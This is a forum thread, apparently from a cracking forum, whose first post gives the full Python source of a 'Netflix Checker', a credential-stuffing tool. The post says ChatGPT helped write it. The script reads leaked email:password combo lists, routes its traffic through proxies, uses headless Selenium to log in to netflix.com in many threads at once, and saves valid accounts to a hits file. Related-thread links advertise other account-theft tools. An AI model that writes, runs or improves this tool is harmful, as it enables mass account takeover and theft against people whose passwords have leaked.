Netflix Checker Tool - Python
by catfrom90s - Friday August 23, 2024 at 10:07 AM
#1
made this tools with the help of ChatGpt  Tongue

import random import time import threading import os import ctypes from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys from selenium.webdriver.chrome.service import Service from webdriver_manager.chrome import ChromeDriverManager class Fore:     YELLOW = '\033[93m'     GREEN = '\033[32m'     RED = '\033[91m'     RESET = '\033[0m' lock = threading.Lock() proxies = [] combos = [] valid, invalid, cpm = 0, 0, 0 check = [] threads = [] def center(var: str, space: int = None) -> str:     if not space:         space = (os.get_terminal_size().columns - len(var.splitlines()[int(len(var.splitlines()) / 2)])) / 2     return "\n".join((' ' * int(space)) + var for var in var.splitlines()) def banner():     os.system('cls' if os.name == 'nt' else 'clear')     text = '''                         Netflix Checker Tool     '''     faded = ''     red = 40     for line in text.splitlines():         faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")         if not red == 255:             red += 15             if red > 255:                 red = 255     print(center(faded))     print(center(f'{Fore.GREEN}Coded By https://t.me/GodPrometheuss {Fore.RESET}')) def load_proxies():     global proxies     path = input(f'\n{Fore.YELLOW}Enter Your Proxy File Path: {Fore.RESET}')     try:         with open(path, "r") as proxyfile:             proxytype = int(input(f'\n{Fore.YELLOW}Proxy Type: {Fore.RESET}[{Fore.GREEN}0{Fore.RESET}] HTTP [{Fore.RED}1{Fore.RESET}] SOCKS4 [{Fore.YELLOW}2{Fore.RESET}] SOCKS5: '))             proxy_prefix = {0: 'http', 1: 'socks4', 2: 'socks5'}.get(proxytype)             if proxy_prefix is None:                 print(f'[{Fore.RED}ERROR{Fore.RESET}] Invalid proxy type.')                 quit()             proxies = [{'http': f"{proxy_prefix}://{proxy.strip()}"} for proxy in proxyfile]     except FileNotFoundError:         print(f'[{Fore.RED}ERROR{Fore.RESET}] Failed to open proxy file.')         quit()     except ValueError:         print(f'[{Fore.RED}ERROR{Fore.RESET}] Proxy type must be an integer.')         quit() def cpm_counter():     global cpm, valid     while True:         old_valid = valid         time.sleep(4)         new_valid = valid         cpm = (new_valid - old_valid) * 15 def update_title(start):     while True:         elapsed = time.strftime('%H:%M:%S', time.gmtime(time.time() - start))         title = f'[Netflix Checker] - Hits: {valid} | Bad: {invalid} | CPM: {cpm} | Threads: {threading.active_count() - 2} | Time elapsed: {elapsed}'         ctypes.windll.kernel32.SetConsoleTitleW(title)         time.sleep(0.4) def worker(combo_list, thread_id):     global check     while check[thread_id] < len(combo_list):         combination = combo_list[check[thread_id]].split(':')         check_account(combination[0], combination[1])         check[thread_id] += 1 def check_account(email, password):     global valid, invalid     try:         chrome_options = Options()         chrome_options.add_argument("--headless")  # Run in headless mode         driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options)         driver.get("https://www.netflix.com/login")                 email_input = driver.find_element(By.NAME, "userLoginId")         password_input = driver.find_element(By.NAME, "password")         login_button = driver.find_element(By.CSS_SELECTOR, "button[data-uia='login-submit-button']")         email_input.send_keys(email)         password_input.send_keys(password)         login_button.click()         time.sleep(5)  # Wait for login to process                 if "Incorrect password" in driver.page_source or "Sorry, we can't find an account with this email address" in driver.page_source:             lock.acquire()             print(f'[{Fore.RED}BAD{Fore.RESET}] {email}:{password}')             invalid += 1             lock.release()         else:             lock.acquire()             print(f'[{Fore.GREEN}GOOD{Fore.RESET}] {email}:{password}')             with open("hits.txt", "a") as file:                 file.write(f'{email}:{password}\n')             valid += 1             lock.release()         driver.quit()     except Exception as e:         lock.acquire()         print(f'[{Fore.RED}ERROR{Fore.RESET}] {str(e)}')         lock.release() if __name__ == '__main__':     banner()     load_proxies()     try:         path = input(f'\n{Fore.YELLOW}Enter Your Combo File Path: {Fore.RESET}')         with open(path, "r", encoding='utf-8') as file:             combos = [line.strip() for line in file]                 threadcount = int(input(f'\n{Fore.GREEN}Threads: {Fore.RESET}'))         check = [0] * threadcount     except FileNotFoundError:         print(f'[{Fore.RED}ERROR{Fore.RESET}] Failed to open combo file.')         quit()     except ValueError:         print(f'[{Fore.RED}ERROR{Fore.RESET}] Number of threads must be an integer.')         quit()     os.system('cls' if os.name == 'nt' else 'clear')     banner()     start = time.time()         threading.Thread(target=cpm_counter, daemon=True).start()     threading.Thread(target=update_title, args=(start,), daemon=True).start()         for i in range(threadcount):         sliced_combos = combos[int(len(combos) / threadcount * i):int(len(combos) / threadcount * (i + 1))]         t = threading.Thread(target=worker, args=(sliced_combos, i))         threads.append(t)         t.start()     for t in threads:         t.join()
Reply
#2
selenium checker slow?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  New Netflix Checker v3.0 2024 By @iiMrDark iisomeone 55 4,222 03-28-2026, 06:33 PM
Last Post: Adma222
  Python Script To Steal Any TikTok Username bs0d 301 14,633 03-27-2026, 03:56 PM
Last Post: tokon308222
  Python open redirect checker cuteshiny 36 6,842 02-03-2026, 01:10 PM
Last Post: linyibaby
  [Python} Wordpress checker lord_x 155 23,238 02-03-2026, 01:07 PM
Last Post: diegofuckadona
  Hacking Tool--AiO Hacking tool neo28 164 19,260 07-27-2025, 02:56 PM
Last Post: kralbenim



 Users browsing this thread: 1 Guest(s)